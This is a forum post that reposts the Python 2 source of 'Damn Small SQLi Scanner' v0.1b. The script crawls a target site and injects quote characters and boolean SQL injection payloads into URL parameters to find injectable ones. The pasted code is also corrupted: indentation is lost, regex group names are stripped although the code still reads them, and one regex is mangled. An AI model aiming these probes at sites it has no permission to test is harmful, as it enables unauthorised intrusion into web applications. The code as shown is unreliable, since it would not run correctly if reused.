Jump to content
Fi8sVrs

[Python] Damn Small SQLi Scanner (DSSS) v. 0.1b

Recommended Posts

  • Active Members
Posted

Below you can find the Source Code of the Damn Small SQLi Scanner (DSSS) v. 0.1b having less than 100 LOC (Lines of Code):

#!/usr/bin/env python

import difflib, httplib, optparse, random, re, sys, urllib2, urlparse

NAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
VERSION = "0.1b"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)"
NOTE = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"

INVALID_SQL_CHAR_POOL = ['(',')','\'','"']
CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")
SUFFIXES = ["", "-- ", "#"]
PREFIXES = [" ", ") ", "' ", "') "]
BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]

DBMS_ERRORS = {}
DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]
DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]
DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]
DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]
DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]
DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]
DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]
DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]
DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]
DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]
DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]
DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]

def getTextOnly(page):
retVal = re.sub(r"(?s)|<!--.+?-->||<[^>]+>|\s", " ", page)
retVal = re.sub(r"\s{2,}", " ", retVal)
return retVal

def retrieveContent(url):
retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content]
try:
retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read()
except Exception, e:
if hasattr(e, 'read'):
retVal[3] = e.read()
elif hasattr(e, 'msg'):
retVal[3] = e.msg
retVal[1] = e.code if hasattr(e, 'code') else None
match = re.search(r"(?P<title>[^<]+)", retVal[3])
retVal[2] = match.group("title") if match else ""
retVal[0] = getTextOnly(retVal[3])
return retVal

def shallowCrawl(url):
retVal = set([url])
page = retrieveContent(url)[3]
for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I):
link = urlparse.urljoin(url, match.group("href"))
if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
retVal.add(link)
return retVal

def scanPage(url):
for link in shallowCrawl(url):
print "* scanning: %s" % link
for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link):
vulnerable = False
tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
content = retrieveContent(tampered)
for dbms in DBMS_ERRORS:
for regex in DBMS_ERRORS[dbms]:
if not vulnerable and re.search(regex, content[0], re.I):
print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms)
vulnerable = True
if not vulnerable:
original = retrieveContent(link)
a, b = random.randint(100, 255), random.randint(100, 255)
for prefix in PREFIXES:
for boolean in BOOLEANS:
for suffix in SUFFIXES:
if not vulnerable:
template = "%s%s%s" % (prefix, boolean, suffix)
payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, )))
contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])]
if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]):
vulnerable = True
else:
ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]])
vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95
if vulnerable:
print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])

if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")")
options, _ = parser.parse_args()
if options.url:
scanPage(options.url)
else:
parser.print_help()

http://www.aftershell.com/2011/07/16/python-damn-small-sqli-scanner-dsss-v0-1b/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...